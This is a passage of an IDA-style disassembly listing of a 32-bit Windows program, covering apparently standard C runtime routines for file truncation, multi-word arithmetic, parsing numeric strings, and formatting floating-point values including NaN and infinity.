loc_425158: ; CODE XREF: sub_4250B2+AFj
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42515C: ; CODE XREF: sub_4250B2+69j
push esi
jmp short loc_42514B
; ---------------------------------------------------------------------------
loc_42515F: ; CODE XREF: sub_4250B2+92j
xor eax, eax
jmp short loc_425158
sub_4250B2 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4241E3
loc_425163: ; CODE XREF: sub_4241E3+Ej
push esi
push edi
push 3
xor edi, edi
pop esi
cmp dword_4DD020, esi
jle short loc_4251B6
loc_425172: ; CODE XREF: sub_4241E3+FD1j
mov eax, dword_4DC01C
mov eax, [eax+esi*4]
test eax, eax
jz short loc_4251AD
test byte ptr [eax+0Ch], 83h
jz short loc_425191
push eax
call sub_41BA3B
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_425191
inc edi
loc_425191: ; CODE XREF: sub_4241E3+F9Fj
; sub_4241E3+FABj
cmp esi, 14h
jl short loc_4251AD
mov eax, dword_4DC01C
push dword ptr [eax+esi*4]
call sub_41BA91
mov eax, dword_4DC01C
pop ecx
and dword ptr [eax+esi*4], 0
loc_4251AD: ; CODE XREF: sub_4241E3+F99j
; sub_4241E3+FB1j
inc esi
cmp esi, dword_4DD020
jl short loc_425172
loc_4251B6: ; CODE XREF: sub_4241E3+F8Dj
mov eax, edi
pop edi
pop esi
retn
; END OF FUNCTION CHUNK FOR sub_4241E3
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4251BB proc near ; CODE XREF: sub_42423B+271p
var_1000 = byte ptr -1000h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1000h
call sub_41C500
push ebx
mov ebx, [ebp+arg_0]
push esi
xor esi, esi
cmp ebx, dword_4DD140
jnb loc_4252F0
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, dword_4DD040[eax*4]
test byte ptr [eax+ecx*8+4], 1
jz loc_4252F0
push 1
push esi
push ebx
call sub_422F09
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz loc_4252FA
push 2
push esi
push ebx
call sub_422F09
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz loc_4252FA
push edi
mov edi, [ebp+arg_4]
sub edi, eax
test edi, edi
jle short loc_42529D
push 1000h
lea eax, [ebp+var_1000]
push esi
push eax
call sub_41BF70
loc_425240: ; DATA XREF: .data:off_438CB8o
push 8000h
push ebx
call sub_425D78
add esp, 14h
mov [ebp+arg_4], eax
loc_425251: ; CODE XREF: sub_4251BB+BDj
mov eax, 1000h
cmp edi, eax
jge short loc_42525C
mov eax, edi
loc_42525C: ; CODE XREF: sub_4251BB+9Dj
push eax
lea eax, [ebp+var_1000]
push eax
push ebx
call sub_4230FB
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_42527A
sub edi, eax
test edi, edi
jle short loc_425290
jmp short loc_425251
; ---------------------------------------------------------------------------
loc_42527A: ; CODE XREF: sub_4251BB+B5j
cmp dword_4DBDE0, 5
jnz short loc_42528D
mov dword_4DBDDC, 0Dh
loc_42528D: ; CODE XREF: sub_4251BB+C6j
or esi, 0FFFFFFFFh
loc_425290: ; CODE XREF: sub_4251BB+BBj
push [ebp+arg_4]
push ebx
call sub_425D78
pop ecx
pop ecx
jmp short loc_4252DD
; ---------------------------------------------------------------------------
loc_42529D: ; CODE XREF: sub_4251BB+71j
jge short loc_4252DD
push 0
push [ebp+arg_4]
push ebx
call sub_422F09
push ebx
call sub_4240AA
add esp, 10h
push eax
call ds:dword_427004 ; SetEndOfFile
mov esi, eax
neg esi
sbb esi, esi
neg esi
dec esi
cmp esi, 0FFFFFFFFh
jnz short loc_4252DD
mov dword_4DBDDC, 0Dh
call ds:dword_427094 ; RtlGetLastWin32Error
mov dword_4DBDE0, eax
loc_4252DD: ; CODE XREF: sub_4251BB+E0j
; sub_4251BB:loc_42529Dj ...
push 0
push [ebp+arg_0]
push ebx
call sub_422F09
add esp, 0Ch
mov eax, esi
pop edi
jmp short loc_4252FD
; ---------------------------------------------------------------------------
loc_4252F0: ; CODE XREF: sub_4251BB+1Aj
; sub_4251BB+36j
mov dword_4DBDDC, 9
loc_4252FA: ; CODE XREF: sub_4251BB+4Ej
; sub_4251BB+63j
or eax, 0FFFFFFFFh
loc_4252FD: ; CODE XREF: sub_4251BB+133j
pop esi
pop ebx
leave
retn
sub_4251BB endp
; =============== S U B R O U T I N E =======================================
sub_425301 proc near ; CODE XREF: sub_4249DF+2Bp
; sub_4249DF+42p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
lea ecx, [edx+esi]
cmp ecx, edx
jb short loc_425317
cmp ecx, esi
jnb short loc_42531A
loc_425317: ; CODE XREF: sub_425301+10j
push 1
pop eax
loc_42531A: ; CODE XREF: sub_425301+14j
mov edx, [esp+4+arg_8]
pop esi
mov [edx], ecx
retn
sub_425301 endp
; =============== S U B R O U T I N E =======================================
sub_425322 proc near ; CODE XREF: sub_4253DB+40p
; sub_4253DB+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
mov edi, [esp+8+arg_4]
push esi
push dword ptr [edi]
push dword ptr [esi]
call sub_425301
add esp, 0Ch
test eax, eax
jz short loc_425354
lea eax, [esi+4]
push eax
push 1
push dword ptr [eax]
call sub_425301
add esp, 0Ch
test eax, eax
jz short loc_425354
inc dword ptr [esi+8]
loc_425354: ; CODE XREF: sub_425322+19j
; sub_425322+2Dj
lea eax, [esi+4]
push eax
push dword ptr [edi+4]
push dword ptr [eax]
call sub_425301
add esp, 0Ch
test eax, eax
jz short loc_42536C
inc dword ptr [esi+8]
loc_42536C: ; CODE XREF: sub_425322+45j
lea eax, [esi+8]
push eax
push dword ptr [edi+8]
push dword ptr [eax]
call sub_425301
add esp, 0Ch
pop edi
pop esi
retn
sub_425322 endp
; =============== S U B R O U T I N E =======================================
sub_425380 proc near ; CODE XREF: sub_4253DB+30p
; sub_4253DB+36p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov esi, [eax]
mov edi, [eax+4]
mov ecx, esi
add esi, esi
mov [eax], esi
lea esi, [edi+edi]
shr ecx, 1Fh
or esi, ecx
mov ecx, [eax+8]
mov edx, edi
mov [eax+4], esi
shr edx, 1Fh
shl ecx, 1
or ecx, edx
pop edi
mov [eax+8], ecx
pop esi
retn
sub_425380 endp
; =============== S U B R O U T I N E =======================================
sub_4253AE proc near ; CODE XREF: sub_425973+1C8p
; sub_425DEE+17Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov edx, [eax+8]
mov ecx, [eax+4]
mov esi, edx
mov edi, ecx
shl esi, 1Fh
shr ecx, 1
or ecx, esi
mov [eax+4], ecx
mov ecx, [eax]
shl edi, 1Fh
shr ecx, 1
shr edx, 1
or ecx, edi
pop edi
mov [eax+8], edx
mov [eax], ecx
pop esi
retn
sub_4253AE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4253DB proc near ; CODE XREF: sub_4254A2+3CAp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_8]
xor edx, edx
cmp eax, edx
push esi
mov [ebp+var_4], 404Eh
mov [ebx], edx
mov [ebx+4], edx
mov [ebx+8], edx
jbe short loc_42544F
push edi
mov [ebp+arg_8], eax
loc_425402: ; CODE XREF: sub_4253DB+6Fj
mov esi, ebx
lea edi, [ebp+var_10]
movsd
movsd
push ebx
movsd
call sub_425380
push ebx
call sub_425380
lea eax, [ebp+var_10]
push eax
push ebx
call sub_425322
push ebx
call sub_425380
mov eax, [ebp+arg_0]
and [ebp+var_C], 0
and [ebp+var_8], 0
movsx eax, byte ptr [eax]
mov [ebp+var_10], eax
lea eax, [ebp+var_10]
push eax
push ebx
call sub_425322
add esp, 1Ch
inc [ebp+arg_0]
dec [ebp+arg_8]
jnz short loc_425402
xor edx, edx
pop edi
loc_42544F: ; CODE XREF: sub_4253DB+21j
; sub_4253DB+9Fj
cmp [ebx+8], edx
jnz short loc_42547C
mov ecx, [ebx+4]
mov eax, ecx
shr eax, 10h
mov [ebx+8], eax
mov eax, [ebx]
mov esi, eax
shr esi, 10h
shl ecx, 10h
or esi, ecx
shl eax, 10h
add [ebp+var_4], 0FFF0h
mov [ebx+4], esi
mov [ebx], eax
jmp short loc_42544F
; ---------------------------------------------------------------------------
loc_42547C: ; CODE XREF: sub_4253DB+77j
mov esi, 8000h
loc_425481: ; CODE XREF: sub_4253DB+B9j
test [ebx+8], esi
jnz short loc_425496
push ebx
call sub_425380
add [ebp+var_4], 0FFFFh
pop ecx
jmp short loc_425481
; ---------------------------------------------------------------------------
loc_425496: ; CODE XREF: sub_4253DB+A9j
mov ax, word ptr [ebp+var_4]
pop esi
mov [ebx+0Ah], ax
pop ebx
leave
retn
sub_4253DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4254A2 proc near ; CODE XREF: sub_424D28+17p
; sub_424D55+17p
var_5C = byte ptr -5Ch
var_45 = byte ptr -45h
var_40 = dword ptr -40h
var_3A = dword ptr -3Ah
var_36 = dword ptr -36h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 5Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea eax, [ebp+var_5C]
push 1
mov [ebp+var_C], eax
xor eax, eax
pop edx
mov [ebp+var_28], eax
mov [ebp+var_18], edx
mov [ebp+var_4], eax
mov [ebp+var_10], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_2C], eax
mov [ebp+var_30], eax
mov [ebp+var_1C], eax
mov [ebp+var_8], eax
mov [ebp+var_14], eax
mov [ebp+arg_8], edi
loc_4254DD: ; CODE XREF: sub_4254A2+52j
mov cl, [edi]
cmp cl, 20h
jz short loc_4254F3
cmp cl, 9
jz short loc_4254F3
cmp cl, 0Ah
jz short loc_4254F3
cmp cl, 0Dh
jnz short loc_4254F6
loc_4254F3: ; CODE XREF: sub_4254A2+40j
; sub_4254A2+45j ...
inc edi
jmp short loc_4254DD
; ---------------------------------------------------------------------------
loc_4254F6: ; CODE XREF: sub_4254A2+4Fj
push 4
pop esi
loc_4254F9: ; CODE XREF: sub_4254A2+AEj
; sub_4254A2+B7j ...
mov bl, [edi]
inc edi
cmp eax, 0Bh ; switch 12 cases
ja loc_42577C ; default
; jumptable 00425505 case 10
jmp ds:off_425943[eax*4] ; switch jump
loc_42550C: ; DATA XREF: .text:off_425943o
cmp bl, 31h ; jumptable 00425505 case 0
jl short loc_42551D
cmp bl, 39h
jg short loc_42551D
loc_425516: ; CODE XREF: sub_4254A2+C4j
; sub_4254A2+118j
push 3
jmp loc_42573A
; ---------------------------------------------------------------------------
loc_42551D: ; CODE XREF: sub_4254A2+6Dj
; sub_4254A2+72j
cmp bl, byte_43D088
jnz short loc_42552C
loc_425525: ; CODE XREF: sub_4254A2+124j
push 5
jmp loc_425772
; ---------------------------------------------------------------------------
loc_42552C: ; CODE XREF: sub_4254A2+81j
movsx eax, bl
sub eax, 2Bh
jz short loc_425552
dec eax
dec eax
jz short loc_425546
sub eax, 3
jnz loc_425815
jmp loc_4255D5
; ---------------------------------------------------------------------------
loc_425546: ; CODE XREF: sub_4254A2+94j
push 2
mov [ebp+var_28], 8000h
pop eax
jmp short loc_4254F9
; ---------------------------------------------------------------------------
loc_425552: ; CODE XREF: sub_4254A2+90j
and [ebp+var_28], 0
push 2
pop eax
jmp short loc_4254F9
; ---------------------------------------------------------------------------
loc_42555B: ; CODE XREF: sub_4254A2+63j
; DATA XREF: .text:off_425943o
cmp bl, 31h ; jumptable 00425505 case 1
mov [ebp+var_10], edx
jl short loc_425568
cmp bl, 39h
jle short loc_425516
loc_425568: ; CODE XREF: sub_4254A2+BFj
cmp bl, byte_43D088
jz loc_425630
cmp bl, 2Bh
jz short loc_4255AA
cmp bl, 2Dh
jz short loc_4255AA
cmp bl, 30h
jz short loc_4255D5
loc_425583: ; CODE XREF: sub_4254A2+207j
cmp bl, 43h
jle loc_425815
cmp bl, 45h
jle short loc_4255A3
cmp bl, 63h
jle loc_425815
cmp bl, 65h
jg loc_425815
loc_4255A3: ; CODE XREF: sub_4254A2+EDj
push 6
jmp loc_425772
; ---------------------------------------------------------------------------
loc_4255AA: ; CODE XREF: sub_4254A2+D5j
; sub_4254A2+DAj ...
dec edi
push 0Bh
jmp loc_425772
; ---------------------------------------------------------------------------
loc_4255B2: ; CODE XREF: sub_4254A2+63j
; DATA XREF: .text:off_425943o
cmp bl, 31h ; jumptable 00425505 case 2
jl short loc_4255C0
cmp bl, 39h
jle loc_425516
loc_4255C0: ; CODE XREF: sub_4254A2+113j
cmp bl, byte_43D088
jz loc_425525
cmp bl, 30h
jnz loc_42578A
loc_4255D5: ; CODE XREF: sub_4254A2+9Fj
; sub_4254A2+DFj
mov eax, edx
jmp loc_4254F9
; ---------------------------------------------------------------------------
loc_4255DC: ; CODE XREF: sub_4254A2+63j
; DATA XREF: .text:off_425943o
mov [ebp+var_10], edx ; jumptable 00425505 case 3
loc_4255DF: ; CODE XREF: sub_4254A2+184j
cmp dword_43D084, edx
jle short loc_4255F8
movzx eax, bl
push esi
push eax
call sub_41FDB5
pop ecx
pop ecx
push 1
pop edx
jmp short loc_425606
; ---------------------------------------------------------------------------
loc_4255F8: ; CODE XREF: sub_4254A2+143j
mov ecx, off_43CE78
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_425606: ; CODE XREF: sub_4254A2+154j
test eax, eax
jz short loc_425628
cmp [ebp+var_4], 19h
jnb short loc_425620
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
mov [eax], bl
jmp short loc_425623
; ---------------------------------------------------------------------------
loc_425620: ; CODE XREF: sub_4254A2+16Cj
inc [ebp+var_8]
loc_425623: ; CODE XREF: sub_4254A2+17Cj
mov bl, [edi]
inc edi
jmp short loc_4255DF
; ---------------------------------------------------------------------------
loc_425628: ; CODE XREF: sub_4254A2+166j
cmp bl, byte_43D088
jnz short loc_425697
loc_425630: ; CODE XREF: sub_4254A2+CCj
mov eax, esi
jmp loc_4254F9
; ---------------------------------------------------------------------------
loc_425637: ; CODE XREF: sub_4254A2+63j
; DATA XREF: .text:off_425943o
cmp [ebp+var_4], 0 ; jumptable 00425505 case 4
mov [ebp+var_10], edx
mov [ebp+var_24], edx
jnz short loc_425650
loc_425643: ; CODE XREF: sub_4254A2+1ACj
cmp bl, 30h
jnz short loc_425650
dec [ebp+var_8]
mov bl, [edi]
inc edi
jmp short loc_425643
; ---------------------------------------------------------------------------
loc_425650: ; CODE XREF: sub_4254A2+19Fj
; sub_4254A2+1A4j ...
cmp dword_43D084, edx
jle short loc_425669
movzx eax, bl
push esi
push eax
call sub_41FDB5
pop ecx
pop ecx
push 1
pop edx
jmp short loc_425677
; ---------------------------------------------------------------------------
loc_425669: ; CODE XREF: sub_4254A2+1B4j
mov ecx, off_43CE78
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_425677: ; CODE XREF: sub_4254A2+1C5j
test eax, eax
jz short loc_425697
cmp [ebp+var_4], 19h
jnb short loc_425692
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
dec [ebp+var_8]
mov [eax], bl
loc_425692: ; CODE XREF: sub_4254A2+1DDj
mov bl, [edi]
inc edi
jmp short loc_425650
; ---------------------------------------------------------------------------
loc_425697: ; CODE XREF: sub_4254A2+18Cj
; sub_4254A2+1D7j
cmp bl, 2Bh
jz loc_4255AA
cmp bl, 2Dh
jz loc_4255AA
jmp loc_425583
; ---------------------------------------------------------------------------
loc_4256AE: ; CODE XREF: sub_4254A2+63j
; DATA XREF: .text:off_425943o
cmp dword_43D084, edx ; jumptable 00425505 case 5
mov [ebp+var_24], edx
jle short loc_4256CA
movzx eax, bl
push esi
push eax
call sub_41FDB5
pop ecx
pop ecx
push 1
pop edx
jmp short loc_4256D8
; ---------------------------------------------------------------------------
loc_4256CA: ; CODE XREF: sub_4254A2+215j
mov ecx, off_43CE78
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_4256D8: ; CODE XREF: sub_4254A2+226j
test eax, eax
jz loc_42578A
mov eax, esi
jmp short loc_42573B
; ---------------------------------------------------------------------------
loc_4256E4: ; CODE XREF: sub_4254A2+63j
; DATA XREF: .text:off_425943o
lea ecx, [edi-2] ; jumptable 00425505 case 6
cmp bl, 31h
mov [ebp+arg_8], ecx
jl short loc_4256F4
cmp bl, 39h
jle short loc_425738
loc_4256F4: ; CODE XREF: sub_4254A2+24Bj
movsx eax, bl
sub eax, 2Bh
jz short loc_425770
dec eax
dec eax
jz short loc_425764
sub eax, 3
jnz loc_425818
loc_425709: ; CODE XREF: sub_4254A2+2A4j
push 8
jmp short loc_425772
; ---------------------------------------------------------------------------
loc_42570D: ; CODE XREF: sub_4254A2+63j
; DATA XREF: .text:off_425943o
mov [ebp+var_20], edx ; jumptable 00425505 case 8
loc_425710: ; CODE XREF: sub_4254A2+276j
cmp bl, 30h
jnz short loc_42571A
mov bl, [edi]
inc edi
jmp short loc_425710
; ---------------------------------------------------------------------------
loc_42571A: ; CODE XREF: sub_4254A2+271j
cmp bl, 31h
jl loc_425815
cmp bl, 39h
jg loc_425815
jmp short loc_425738
; ---------------------------------------------------------------------------
loc_42572E: ; CODE XREF: sub_4254A2+63j
; DATA XREF: .text:off_425943o
cmp bl, 31h ; jumptable 00425505 case 7
jl short loc_425741
cmp bl, 39h
jg short loc_425741
loc_425738: ; CODE XREF: sub_4254A2+250j
; sub_4254A2+28Aj
push 9
loc_42573A: ; CODE XREF: sub_4254A2+76j
pop eax
loc_42573B: ; CODE XREF: sub_4254A2+240j
dec edi
jmp loc_4254F9
; ---------------------------------------------------------------------------
loc_425741: ; CODE XREF: sub_4254A2+28Fj
; sub_4254A2+294j
cmp bl, 30h
jnz short loc_42578A
jmp short loc_425709
; ---------------------------------------------------------------------------
loc_425748: ; CODE XREF: sub_4254A2+63j
; DATA XREF: .text:off_425943o
cmp [ebp+arg_18], 0 ; jumptable 00425505 case 11
jz short loc_425778
movsx eax, bl
lea ecx, [edi-1]
sub eax, 2Bh
mov [ebp+arg_8], ecx
jz short loc_425770
dec eax
dec eax
jnz loc_425818
loc_425764: ; CODE XREF: sub_4254A2+25Cj
or [ebp+var_18], 0FFFFFFFFh
push 7
pop eax
jmp loc_4254F9
; ---------------------------------------------------------------------------
loc_425770: ; CODE XREF: sub_4254A2+258j
; sub_4254A2+2B8j
push 7
loc_425772: ; CODE XREF: sub_4254A2+85j
; sub_4254A2+103j ...
pop eax
jmp loc_4254F9
; ---------------------------------------------------------------------------
loc_425778: ; CODE XREF: sub_4254A2+2AAj
push 0Ah
dec edi
pop eax
loc_42577C: ; CODE XREF: sub_4254A2+5Dj
; sub_4254A2+63j
; DATA XREF: ...
cmp eax, 0Ah ; default
; jumptable 00425505 case 10
jz loc_42581A
jmp loc_4254F9
; ---------------------------------------------------------------------------
loc_42578A: ; CODE XREF: sub_4254A2+12Dj
; sub_4254A2+238j ...
mov edi, [ebp+arg_8]
jmp loc_42581A
; ---------------------------------------------------------------------------
loc_425792: ; CODE XREF: sub_4254A2+63j
; DATA XREF: .text:off_425943o
mov [ebp+var_20], 1 ; jumptable 00425505 case 9
xor esi, esi
loc_42579B: ; CODE XREF: sub_4254A2+339j
cmp dword_43D084, 1
jle short loc_4257B3
movzx eax, bl
push 4
push eax
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_4257C2
; ---------------------------------------------------------------------------
loc_4257B3: ; CODE XREF: sub_4254A2+300j
mov ecx, off_43CE78
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_4257C2: ; CODE XREF: sub_4254A2+30Fj
test eax, eax
jz short loc_4257E2
movsx ecx, bl
lea eax, [esi+esi*4]
lea esi, [ecx+eax*2-30h]
cmp esi, 1450h
jg short loc_4257DD
mov bl, [edi]
inc edi
jmp short loc_42579B
; ---------------------------------------------------------------------------
loc_4257DD: ; CODE XREF: sub_4254A2+334j
mov esi, 1451h
loc_4257E2: ; CODE XREF: sub_4254A2+322j
mov [ebp+var_1C], esi
loc_4257E5: ; CODE XREF: sub_4254A2+371j
cmp dword_43D084, 1
jle short loc_4257FD
movzx eax, bl
push 4
push eax
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_42580C
; ---------------------------------------------------------------------------
loc_4257FD: ; CODE XREF: sub_4254A2+34Aj
mov ecx, off_43CE78
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_42580C: ; CODE XREF: sub_4254A2+359j
test eax, eax
jz short loc_425815
mov bl, [edi]
inc edi
jmp short loc_4257E5
; ---------------------------------------------------------------------------
loc_425815: ; CODE XREF: sub_4254A2+99j
; sub_4254A2+E4j ...
dec edi
jmp short loc_42581A
; ---------------------------------------------------------------------------
loc_425818: ; CODE XREF: sub_4254A2+261j
; sub_4254A2+2BCj
mov edi, ecx
loc_42581A: ; CODE XREF: sub_4254A2+2DDj
; sub_4254A2+2EBj ...
mov eax, [ebp+arg_4]
cmp [ebp+var_10], 0
mov [eax], edi
jz loc_425902
push 18h
pop eax
cmp [ebp+var_4], eax
jbe short loc_425846
cmp [ebp+var_45], 5
jl short loc_42583A
inc [ebp+var_45]
loc_42583A: ; CODE XREF: sub_4254A2+393j
mov [ebp+var_4], eax
mov eax, [ebp+var_C]
dec eax
inc [ebp+var_8]
jmp short loc_425849
; ---------------------------------------------------------------------------
loc_425846: ; CODE XREF: sub_4254A2+38Dj
mov eax, [ebp+var_C]
loc_425849: ; CODE XREF: sub_4254A2+3A2j
cmp [ebp+var_4], 0
jbe loc_4258F8
loc_425853: ; CODE XREF: sub_4254A2+3BDj
dec eax
cmp byte ptr [eax], 0
jnz short loc_425861
dec [ebp+var_4]
inc [ebp+var_8]
jmp short loc_425853
; ---------------------------------------------------------------------------
loc_425861: ; CODE XREF: sub_4254A2+3B5j
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_5C]
push [ebp+var_4]
push eax
call sub_4253DB
mov eax, [ebp+var_1C]
xor ecx, ecx
add esp, 0Ch
cmp [ebp+var_18], ecx
jge short loc_425880
neg eax
loc_425880: ; CODE XREF: sub_4254A2+3DAj
add eax, [ebp+var_8]
cmp [ebp+var_20], ecx
jnz short loc_42588B
add eax, [ebp+arg_10]
loc_42588B: ; CODE XREF: sub_4254A2+3E4j
cmp [ebp+var_24], ecx
jnz short loc_425893
sub eax, [ebp+arg_14]
loc_425893: ; CODE XREF: sub_4254A2+3ECj
cmp eax, 1450h
jle short loc_4258CA
mov [ebp+var_2C], 1
loc_4258A1: ; CODE XREF: sub_4254A2+436j
mov ebx, [ebp+arg_8]
mov esi, [ebp+arg_8]
mov eax, [ebp+arg_8]
mov edx, [ebp+arg_8]
loc_4258AD: ; CODE XREF: sub_4254A2+454j
; sub_4254A2+45Ej
cmp [ebp+var_2C], 0
jz short loc_425913
xor ebx, ebx
mov eax, 7FFFh
mov esi, 80000000h
xor edx, edx
mov [ebp+var_14], 2
jmp short loc_425928
; ---------------------------------------------------------------------------
loc_4258CA: ; CODE XREF: sub_4254A2+3F6j
cmp eax, 0FFFFEBB0h
jge short loc_4258DA
mov [ebp+var_30], 1
jmp short loc_4258A1
; ---------------------------------------------------------------------------
loc_4258DA: ; CODE XREF: sub_4254A2+42Dj
push [ebp+arg_C]
push eax
lea eax, [ebp+var_40]
push eax
call sub_42600E
mov edx, [ebp+var_40]
mov ebx, [ebp+var_40+2]
mov esi, [ebp+var_3A]
mov eax, [ebp+var_36]
add esp, 0Ch
jmp short loc_4258AD
; ---------------------------------------------------------------------------
loc_4258F8: ; CODE XREF: sub_4254A2+3ABj
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
jmp short loc_4258AD
; ---------------------------------------------------------------------------
loc_425902: ; CODE XREF: sub_4254A2+381j
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 4
jmp short loc_425928
; ---------------------------------------------------------------------------
loc_425913: ; CODE XREF: sub_4254A2+40Fj
cmp [ebp+var_30], 0
jz short loc_425928
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 1
loc_425928: ; CODE XREF: sub_4254A2+426j
; sub_4254A2+46Fj ...
mov ecx, [ebp+arg_0]
or eax, [ebp+var_28]
pop edi
mov [ecx+6], esi
mov [ecx+2], ebx
mov [ecx+0Ah], ax
mov eax, [ebp+var_14]
pop esi
mov [ecx], dx
pop ebx
leave
retn
sub_4254A2 endp
; ---------------------------------------------------------------------------
off_425943 dd offset loc_42550C ; DATA XREF: sub_4254A2+63r
dd offset loc_42555B ; jump table for switch statement
dd offset loc_4255B2
dd offset loc_4255DC
dd offset loc_425637
dd offset loc_4256AE
dd offset loc_4256E4
dd offset loc_42572E
dd offset loc_42570D
dd offset loc_425792
dd offset loc_42577C
dd offset loc_425748
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425973 proc near ; CODE XREF: sub_424DF9+2Cp
var_1C = byte ptr -1Ch
var_1B = byte ptr -1Bh
var_1A = byte ptr -1Ah
var_19 = byte ptr -19h
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_10 = word ptr -10h
var_E = dword ptr -0Eh
var_A = dword ptr -0Ah
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
mov eax, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_14]
push esi
mov ecx, eax
mov esi, 7FFFh
and ecx, 8000h
and eax, esi
test cx, cx
push edi
mov [ebp+var_1C], 0CCh
mov [ebp+var_1B], 0CCh
mov [ebp+var_1A], 0CCh
mov [ebp+var_19], 0CCh
mov [ebp+var_18], 0CCh
mov [ebp+var_17], 0CCh
mov [ebp+var_16], 0CCh
mov [ebp+var_15], 0CCh
mov [ebp+var_14], 0CCh
mov [ebp+var_13], 0CCh
mov [ebp+var_12], 0FBh
mov [ebp+var_11], 3Fh
mov [ebp+var_4], 1
mov edx, eax
jz short loc_4259D5
mov byte ptr [ebx+2], 2Dh
jmp short loc_4259D9
; ---------------------------------------------------------------------------
loc_4259D5: ; CODE XREF: sub_425973+5Aj
mov byte ptr [ebx+2], 20h
loc_4259D9: ; CODE XREF: sub_425973+60j
mov edi, [ebp+arg_4]
test dx, dx
jnz short loc_4259FF
test edi, edi
jnz short loc_4259FF
cmp [ebp+arg_0], edi
jnz short loc_4259FF
loc_4259EA: ; CODE XREF: sub_425973+181j
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ebx+4], 30h
jmp loc_425BFD
; ---------------------------------------------------------------------------
loc_4259FF: ; CODE XREF: sub_425973+6Cj
; sub_425973+70j ...
cmp dx, si
jnz short loc_425A7E
mov eax, 80000000h
mov word ptr [ebx], 1
cmp edi, eax
jnz short loc_425A18
cmp [ebp+arg_0], 0
jz short loc_425A27
loc_425A18: ; CODE XREF: sub_425973+9Dj
test edi, 40000000h
jnz short loc_425A27
push offset a1Snan ; "1#SNAN"
jmp short loc_425A6D
; ---------------------------------------------------------------------------
loc_425A27: ; CODE XREF: sub_425973+A3j
; sub_425973+ABj
test cx, cx
jz short loc_425A41
cmp edi, 0C0000000h
jnz short loc_425A41
cmp [ebp+arg_0], 0
jnz short loc_425A68
push offset a1Ind ; "1#IND"
jmp short loc_425A50
; ---------------------------------------------------------------------------
loc_425A41: ; CODE XREF: sub_425973+B7j
; sub_425973+BFj
cmp edi, eax
jnz short loc_425A68
cmp [ebp+arg_0], 0
jnz short loc_425A68
push offset a1Inf ; "1#INF"
loc_425A50: ; CODE XREF: sub_425973+CCj
lea eax, [ebx+4]
push eax
call sub_41C890
pop ecx
mov byte ptr [ebx+3], 5
pop ecx
loc_425A5F: ; CODE XREF: sub_425973+109j
and [ebp+var_4], 0
jmp loc_425BD6
; ---------------------------------------------------------------------------
loc_425A68: ; CODE XREF: sub_425973+C5j
; sub_425973+D0j ...
push offset a1Qnan ; "1#QNAN"
loc_425A6D: ; CODE XREF: sub_425973+B2j
lea eax, [ebx+4]
push eax
call sub_41C890
pop ecx
mov byte ptr [ebx+3], 6
pop ecx
jmp short loc_425A5F
; ---------------------------------------------------------------------------
